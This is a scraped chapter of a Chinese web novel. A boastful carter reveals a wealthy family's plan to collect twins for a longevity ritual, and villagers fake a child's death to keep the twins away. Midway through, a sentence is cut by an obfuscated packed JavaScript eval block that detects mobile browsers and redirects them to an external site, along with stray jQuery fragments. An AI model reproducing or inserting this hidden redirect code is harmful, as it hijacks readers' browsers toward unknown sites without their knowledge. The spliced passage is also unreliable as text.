默认冷灰
24号文字
方正启体

5. 唱念做打

作者:涂夜本书字数:K更新时间:
    那厢,张车夫正被大郎的一顿彩虹屁捧得心花怒放,已经哥俩好似的将胳膊搭在大郎肩头,说到兴起时还要使劲在他肩上拍上两巴掌。


    他说得起劲,连带着李家的陈年旧事也被翻腾了出来。一口一句“我们李家如何如何”,仿佛他不是个车夫,而是李家说一不二的二总管。


    “咱们李家可是响当当的名儿!光是府门口那道影壁墙就足有三丈高!都是上好的青砖碧瓦,还带花纹的,没见过吧?那可都是从汴京运来的!就前月,家里不过办了个小宴,就足足请了十个厨娘!”


    大郎一副目瞪口呆的模样,频频点头:“哎呀,张家哥哥不愧是府城里人,真真见多识广,听得弟弟脑子都快转不过来了!”


    张车夫听得高兴,胡子都要翘起来了:“那算啥?我们家的老太太,那可是有名的寿安娘子,听说屋里摆的屏风,都是拿金线绣的!”


    大郎见他吹得兴起,话锋一转,带着几分茫然:“张家哥哥可真是见多识广!弟弟听得都傻了。只是哥哥这样的人物,李家怎还劳烦哥哥大冷天里出门跑这一趟?”


    张车夫摆摆手:“嗨,那还不是要接你弟妹回去?他们可是要给我们老太爷拜寿的,耽误不得!”


    ——拜寿?谁应的?


    大郎知道前因后果,此刻只是恨得牙根痒,却也明白跟这车夫争辩无益。


    他佯装迷糊:“哎?怎么还要回去?张家哥哥可是要等我弟妹痊愈了,再一同过去?”


    张车夫本来还歪着身子晃着椅背,椅子腿在地上“吱吱呀呀”地响。一听这话,立马坐直了:“那可不成!”


    他连连摆手:“下月初三就是我家老太爷的寿辰了,还是整寿数。光准备就得二十一天。这头七日要挂满百寿,是要告诉天上的神仙,我家老太爷还有百年的寿数;中间七日是放灯海,要到——对,到阎王殿里给他开寿路,添寿数;最后这七日,便要十二家的龙凤双生子给老太爷拜寿,这叫借人气!”


    大郎若有所思,脸上却带了几分不信:“张家哥哥莫要唬人了。这挂百寿、放灯海还好说,年年都要十二对双生子,还是龙凤双子,这哪里找得齐?”


    张车夫一愣,挠了挠头:“往年还真没有,就是今年……好像是来了个龙虎山的道士,给老太爷批命,说只要凑成十二对童男童女,就能换百年福寿——”


    他话音戛然而止。


    只听院外“哄”的一声炸开了锅。


    呼喝声、脚步声、木盆翻倒声混作一团。


    张车夫刚要快步出门,却又被拦了一下。


    “屋外听着乱。”大郎抢先一步起身,“张家哥哥且等等,让小弟先去看一眼,莫要让人冲撞了你。”


    话音未落,他已经钻出了门。


    外头的动静越来越大:“孩子又抽了两下!”“吊着口气,得吊着口气等他爹回来!”“快喂上!快喂上!”


    张车夫在屋里等了半晌,只觉声音越听越不对劲,心里发毛,终于也按捺不住,推门出去。


    刚一出门,就见院门“砰”的一声被撞开,十几个精壮小伙子簇拥着一位走路风风火火的中年人进了院。只见他披着厚棉衣,身上虽是粗布,却不见一丝补丁,比院子里所有人的衣服都要体面。


    他大步流星的往前走,挤在门口的人群自动散开,留出一条路。中年人并没有言语,也没张望,径直往正屋里去了。


    张车夫也想凑上去看个究竟,可正屋已经被一群人把门堵得水泄不通。大郎也不见了踪影,他想逮个人问问都问不着。


    他在院子里伸着脖子、垫着脚往屋里瞧,还没看清什么,脖领子先被人一把薅住往下一按。


    “你谁啊?哪个村的?想干啥?!”


    野牛般的声音在头顶炸开。


    张车夫被薅得脖子生疼,几乎喘不上气来:“哎!放手,放手,快放手!”


    那国字脸青年力大无穷,硬生生扯着他转了个圈。


    张车夫连声道:“嗨!我可是这家的客人!疼疼疼,放手!”


    国字脸青年将信将疑,冷哼一声:“你少唬我!昨儿七叔家满村喊大夫,一宿都没消停过,都这样了,还有闲心请客人?你怕不是哪来的贼,想趁主家乱了浑水摸鱼?”


    他身后的几个年轻人,一脸不善地盯着他。


    张车夫被看得腿肚子直打颤,忙高声道:“这娘仨还是我给送回来的呢!你们可莫要冤枉好人!”


    青年却不依不饶,瓮声瓮气道:“原来是赶车的?赶车的也轮不到你在这鬼鬼祟祟瞅。”


    张车夫一拍大腿,急了:“哎呀!我还得把这娘仨送回去,给我家老太爷贺寿呢!”


    青年“嘿”了一声,抬手掏出二两碎银塞进他手里:“你也瞧见了,我那小弟现在都人事不省了,估摸着熬不过去。主家也招待不了你。至于你家老太爷的贺寿嘛——你们还是另请高明吧。”


    说罢,双手一拱,敷衍道:“给你家老太爷贺寿。”


    身后几个青年也跟着随随便便一拱手。


    嘴上说的是贺寿,那脸上却没一次笑意,横眉冷对的——这叫贺寿还是贺丧?


    不过被敷衍的张车夫倒也没细究,毕竟那是老太爷,又不是他亲爹。


    可人要带不回去,可真跟他有关系了。


    他这才后知后觉地反应过来:“不对,你谁呀?主家都没说话呢,你们掺和什么?”


    国字脸青年一愣,他身后那圆脸小伙子倒先笑出了声:“你知道他是谁么?刚进屋那位,就是咱村的里正!是他爹!你说这事他能不能管?”


    青年也接口道:“我爹都亲自来了,这一两晚的事儿。你呀,也别留在这沾晦气了。”


    张车夫不甘心,青年看出来了,却没再劝,反倒慢悠悠道:“你要是不乐意走,我也不拦,等这火烧到你身上,我们可管不着。”


    说着,手一探,就要去扣他手里的银子。


    村里凡是报户、销户、迁徙、婚嫁这些跟人口沾边的事,都是里正先核实,再由他写了文书报到县衙,黄册、户帖都要落在那里。要是真死了,少则三日内,多则十日少不得得去销户,隐匿不报可是要挨杖的。


    里正都来了,那这家估摸着真有个什么不好。


    张车夫已经有了退意,只是脸上还拉不下这个面子。


    国字脸青年在身后摆了摆手,一个小矮个儿悄没声地顺着人缝钻进了屋。


    张车夫刚把银子往怀里一塞,只听堂屋里猛地传来一声凄厉的惨叫:“儿——啊——!”


    这一声,听得他浑身汗毛直立,打了个冷颤。


    ......


    李府。


    “然后你就回了?就这些?”


    刘管家捋着山羊胡,倒三角


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939703|192942||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼死死盯着跪在地上瑟缩的张车夫。


    其实还有别的——比如他怀里揣着的那二两辛苦钱。但这种事,自然不能说。


    张车夫老老实实点头:“嗯...呐。”


    “蠢货!”刘管家抬脚就是一踹,踹得新穿的蓝袄上立刻印出一个脏脚印,他想起什么似得,皱着眉头问道:“童男童女的事情,你没秃噜出去吧?”


    听这意思,这事不能说?


    张车夫心里一慌,有那么一瞬间的迷茫,下一个瞬间就连忙摇头:“没说,啥都没说。”


    刘管家却越想越不对劲。


    这一切都太巧了。那两个孩子他是见过的,男孩的确瘦小一些,却也不至于一场风寒都扛不过去。从他们离开到家,不过一天半的工夫,就要了命?


    先是老父亲病重,再是孩子要病死,这前后脚的事,无论怎么看都太巧。


    不过兰家男人还安安稳稳地在屋里做活,要是他们真知道些什么,兰家男人还能如此若无其事吗?


    要是……那孩子真死了,他可就有大麻烦了!人人都凑齐了三对,就他还要少一对儿,他拿什么去交差?!


    不过这种事也瞒不长久。真要是病死了,少则三日,多则十日,里正必须去县衙销户。是真死,还是装死,在黄册上可瞒不了。就是苦了他,还要自己陪银子去打听消息。


    好在离寿宴还有小一个月,他再勤快些,说不定还能再逮着一对儿。


    可真是晦气!


    刘管家“呸”了一声,看着跪在地上的张车夫,只觉心烦意乱,原本抬起的手想打发他走,又忽然改了主意,把人叫住,低声道:


    “你听好了——再过五天,你再跑一趟,给我打听仔细了!要是没死,哪怕就剩一口气,也要把人给我绑回来!”


    张车夫抖抖索索问:“要是...真死了呢?”


    刘管家只冷冷地盯着他,眼神阴得吓人。


    张车夫心里一寒,脸色煞白,魂儿都被吓掉大半,跌跌撞撞地出了门。


    走远了,他才自我安慰似的嘟囔:“那娃瘦得跟柴火棍似的...说不准明儿就报丧。到时候黄册一销...就不关我的事了。


    ”


    ----


    老兰家里,随着张车夫的离去,方才那一阵嘈杂与混乱像被人一把拂去,院里只剩下一片死寂。


    堂屋中,石香楠紧紧攥着牛贵香的手,低声道:“奶,这样能行吗?”


    牛贵香反手握住她的手:“放心。”


    她站起身来,对着那几个虽然不大明白究竟,却一脸“娘说啥就是啥”的儿孙挥了挥手:“走吧。各家来帮忙的不少,这死冷的天把人折腾来一趟,总不能让人空着肚子回去。”


    此时的牛贵香,俨然如同指挥千军万马的女将,条理分明地一一安排:“老大家的,一会儿跟你娘去灶上,多蒸上两屉馒头,把后院那只大公鸡杀了,汤也给熬上。顺儿,你跟娘去把你几个叔伯都招呼一声,跟他们把话说明白。大郎,你去招呼你那些哥哥们。老三家的,你看着点儿两个小的,得空了也去你二嫂屋里瞧瞧,她屋里还管着几个孩子呢。”


    众人齐声应下,各自散开。


    不多时,兰家小院里便渐渐飘出了热气腾腾的香味。


    刚刚那一场“人命关天”的混乱,被烧着的柴火味、鸡汤味一同压的无影无踪。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)